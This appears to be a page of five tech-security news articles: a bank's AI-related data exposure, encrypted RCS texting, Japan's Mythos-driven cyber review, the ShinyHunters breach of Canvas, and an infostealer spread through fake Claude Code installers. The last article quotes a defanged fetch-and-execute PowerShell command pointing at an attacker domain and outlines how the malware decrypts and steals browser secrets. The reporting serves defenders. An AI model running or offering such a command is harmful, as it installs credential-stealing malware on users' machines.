A US commercial bank just tattled on itself to the Securities and Exchange Commission (SEC) for plugging a bunch of customer data into an unauthorized AI application. Community Bank, which operates in southwestern Pennsylvania, Ohio, and West Virginia, filed an 8-K with the regulator on Monday, saying it launched an investigation into the internal cockup, which remains ongoing. It felt compelled to submit the filing "due to the volume and sensitive nature of the non-public information." This included customer names, dates of birth, and Social Security numbers, but the filing provided no further detail about the incident. Community Bank did not specify what this "unauthorized AI-based software application" was or how it was used. However, the disclosure of data such as SSNs, which in the US are generally categorized among the most sensitive types of data that organizations can store on behalf of customers, is protected under several federal and state laws. One possibility is that the data was entered into a generative AI tool outside the bank's approved systems. If so, that could raise questions about whether the information was transmitted to a third-party provider and how it may have been retained or processed. The Register asked Community Bank for more details and will update this story if it responds. The bank confirmed that it suffered no operational impact and customers were not prevented from accessing their accounts or payment services as a result. "The company is evaluating the customer data that was affected and is conducting notifications as required by applicable federal and state laws and regulatory guidance," Community Bank stated in its cybersecurity disclosure. "The company has been, and continues to be, in communication with relevant banking and financial regulators regarding the incident." It also promised to continue its remediation efforts, take action to prevent future failures, and gave the "we're committed to protecting customers' data" line that always goes down so well. ®

Apple and Google have taken a big step toward securing cross-platform texting, ending years of messages bouncing around in glorified plaintext. Apple announced this week that encrypted Rich Communication Services (RCS) messaging is rolling out in beta for iPhone users running iOS 26.5 and Android users on the latest version of Google Messages. The feature works across supported carriers and adds end-to-end encryption to cross-platform chats that were still taking the scenic route through carrier-era messaging infrastructure. Users will know it's enabled when a lock icon appears in RCS conversations. Apple says E2EE RCS messages cannot be read while traveling between devices, bringing Android-to-iPhone chats closer to the protections offered by WhatsApp and Signal. The move lands as other platforms head in the opposite direction. Earlier this month, Meta confirmed it was backing away from parts of its encryption rollout for Instagram DMs, telling The Register that "very few" people actually used the feature and suggesting privacy-minded users head over to WhatsApp instead. Apple, meanwhile, appears content to lean harder into the privacy angle, finally plugging one of the more obvious holes in modern messaging security. That gap has been hanging around for years. While iMessage chats between Apple devices were already encrypted, conversations involving Android phones could fall back to SMS or unencrypted RCS, depending on carrier support. Google had offered encrypted RCS chats inside Google Messages for years, but only when both sides used Google's ecosystem. Apple joining the party means cross-platform RCS encryption is finally starting to span the two largest mobile ecosystems. The rollout is still marked as beta, and carrier support varies by region, so not everyone will get encrypted chats immediately. UK availability remains unclear for now, as none of the major UK networks currently appear on Apple's published compatibility lists for the feature. Still, after two decades of the mobile industry insisting that interoperability and security could not coexist, cross-platform texting may finally be catching up with the rest of modern messaging. ®

Japan’s prime minister Sanae Takaichi has ordered a review of government cybersecurity strategy, citing the arrival of Anthropic’s bug-hunting model Mythos as a moment that makes it necessary to order a cabinet-level project. In a Tuesday cabinet meeting, the PM instructed cybersecurity minister Hisashi Matsumoto to devise measures to check the state of government systems to determine whether it’s possible to detect and fix vulnerabilities, and to develop a plan to ensure critical infrastructure operators can do likewise. Japan’s leader ordered the checks because she feels Mythos and similar frontier models may be misused, and that attacks on infrastructure may therefore increase in speed and scale – perhaps even exponentially. Over the last couple of years cybersecurity vendors and researchers have often pointed out that AI models make it possible to find flaws and automate attacks. When Anthropic debuted Mythos in early April, the notion that AI has the potential to vastly complicate the security landscape went mainstream. Many regulators around the world have issued guidance to point out that now is the perfect time to revisit and improve security strategies and capabilities, because Mythos and other AI models mean defenses are going to be tested like never before. India’s securities regulator went a step further by ordering a security review at the organizations it oversees. And now Japan’s leader has decided the matter is of sufficient importance that her office needs to weigh in and set new policy to ensure AI doesn’t go on a destructive rampage through Japanese infrastructure. Whether Takaichi’s urgency is needed is open to debate. Some researchers have said that while Mythos can find bugs at speed, but doesn’t find flaws humans can’t detect with their naked brains. Others suggest Mythos is not vastly better at finding bugs than open source models that pre-date it and are publicly available – unlike Mythos which is restricted to certain users. Others have all but dismissed Mythos as a marketing stunt. ® .

Ed-tech giant Instructure confirmed two rounds of unauthorized activity affecting its online learning platform Canvas within two weeks as data-theft-and-extortion crew ShinyHunters threatened to leak data it claims belongs to more than 275 million students, teachers, and staff tied to nearly 9,000 schools worldwide. In a security incident update, Instructure apologized for the disruption when Canvas went offline last Thursday, leaving thousands of colleges, universities, and K-12 schools without access to course materials, grades, and due dates during final exams and Advanced Placement testing for many. As of Saturday, the parent company claimed, “Canvas is fully back online and available for use.” And it finally broke its silence on Monday about what happened, admitting not one but two intrusions after criminals exploited a security vulnerability in its Free-for-Teacher learning system, and saying the data thieves stole information including usernames, email addresses, course names, enrollment information, and messages. “Core learning data (course content, submissions, credentials) was not compromised,” the Monday disclosure said. “We're still validating all findings, but we want to be clear about what we understand was and wasn't affected.” On April 29, the online education firm “detected unauthorized activity in Canvas,” immediately revoked the intruder’s access, and initiated a probe into the breach, according to Instructure’s notice posted on its website. On May 7, the company “identified additional unauthorized activity tied to the same incident.” ShinyHunters defaced about 330 Canvas school login portals, also exploiting the same Free-for-Teacher vulnerability, and that caused the ed-tech firm to take Canvas offline and “into maintenance mode to contain the activity.” ShinyHunters claims it stole 3.65 TB of data, including about 275 million records from about 8,800 schools including Harvard, Columbia, Rutgers, Georgetown, and Stanford universities. After moving the pay-or-leak deadline multiple times, ShinyHunters set a final deadline of end-of-day May 12 for individual institutions to contact them directly to negotiate payment - or the group will publish the full dataset. In response, Instructure said it temporarily shut down its Free-for-Teacher accounts. It also revoked privileged credentials and access tokens tied to compromised systems, rotated internal keys, restricted token creation pathways, and added monitoring across all platforms. The education platform hired CrowdStrike to assist with its forensic analysis and incident response, and said it also notified the FBI - which published its own alert on social media - and the US Cybersecurity and Infrastructure Security Agency. This is Instructure’s second breach in less than a year. ShinyHunters claimed to have breached Instructure's Salesforce environment in September 2025, and while Instructure didn’t name the crew in its latest disclosure, it did address the intrusion. “The prior Salesforce-related incident and this Canvas security incident are distinct events involving different systems and circumstances,” the company said. ® UPDATED AT 01:10 UTC MAY 12 Instructure At 10:21 UTC on May 11, Instructure updated its incident report to state "All Canvas environments are available." The company also admitted it "reached an agreement with the unauthorized actor involved in this incident" and secured stolen data." "We received digital confirmation of data destruction (shred logs)," the company said, adding "We have been informed that no Instructure customers will be extorted as a result of this incident, publicly or otherwise." Further: "This agreement covers all impacted Instructure customers, and there is no need for individual customers to attempt to engage with the unauthorized actor." The statement makes it hard not to conclude that Instructure took the controversial decision to pay a ransom. "While there is never complete certainty when dealing with cyber criminals, we believe it was important to take every step within our control to give customers additional peace of mind, to the extent possible," the statement adds. There is no honor among thieves.

An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers. The lure - as with several other infostealer attacks targeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”. The payload is unique, and doesn’t match up with any documented malware family. It does, however, wreak havoc on developers exfiltrating decrypted cookies, passwords, and payment methods from Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera. According to the threat hunters who documented the new campaign on Monday: “We publish for peer correlation rather than attribution.” The attacks also abuses the IElevator2 COM interface. This is Chromium’s elevation service used to handle App-Bound Encryption (ABE), specifically for encrypting and decrypting sensitive user data like cookies and passwords. Google introduced the new interface in January to protect Chromium-based browser data from cookie thieves, who used earlier ABE bypass techniques and commodity stealers that file-copied the SQLite databases holding cookies and saved passwords. However, crafty crooks (and security researchers) soon figured out workarounds to abuse IElevator2, as is the case with the newly spotted malware. The attack runs across three domains, all registered within six days of each other in April, and all fronted through Cloudflare. It relies on developers searching for “install claude code,” and selecting a sponsored result that leads to a lookalike Claude Code installation page. The page downloads and executes Anthropic’s authentic installer - but as Ontinue’s team found, the malicious instruction isn’t stored in the file itself, but instead rendered into the HTML of the landing page. “Automated scanners, URL reputation services, and any skeptical reviewer who simply curls the URL therefore observe clean PowerShell delivered from a Cloudflare-fronted domain bearing a valid Let’s Encrypt certificate,” the researchers wrote. “Victims, meanwhile, are presented with an entirely different command.” The pasted command redirects victims to an obfuscated PowerShell loader that injects a native AEB helper into a live browser process. The helper’s “exclusive purpose,” we’re told, is to invoke the browser's IElevator2 COM interface and recover the App-Bound Encryption key. The helper formats a pipe to exfiltrate sensitive data using Chromium’s legitimate Mojo naming convention for IPC pipes. It then attempts to use IElevator2 to decrypt developer secrets, but it falls back to the legacy interface on the Elevation Service alongside the legacy IElevator if the new one doesn’t work. Ontinue’s researchers published a full list of elevation-service identifiers, so be sure to check that out. And after receiving the ABE key from the helper, the PowerShell loader decrypts the local browser databases and sends the stolen data to an attacker-controlled server via an in-memory secure_prefs.zip archive. The malware hunters say that they compared the malware against published reporting for the several stealers - including Lumma, StealC, Vidar, EddieStealer, Glove Stealer, Katz Stealer, Marco Stealer, Shuyal, AuraStealer, Torg Grabber, VoidStealer, Phemedrone, Metastealer, Xenostealer, ACRStealer, DumpBrowserSecrets, DeepLoad, and Storm - and found no technical match. The closest is Glove Stealer, first documented by Gen Digital in November 2024, which also abuses IElevator via a helper module communicating over a named pipe. The orchestration model, however, differs from Glove in that it uses a “small native helper acting as a single-purpose ABE oracle, with all detection-visible activity pushed into PowerShell.” According to the research team, this split matters for defenders because "behavioral rule sets that look at the native PE in isolation will see nothing actionable,” as they wrote. “Detection has to land at the COM call and at the PowerShell layer.” ®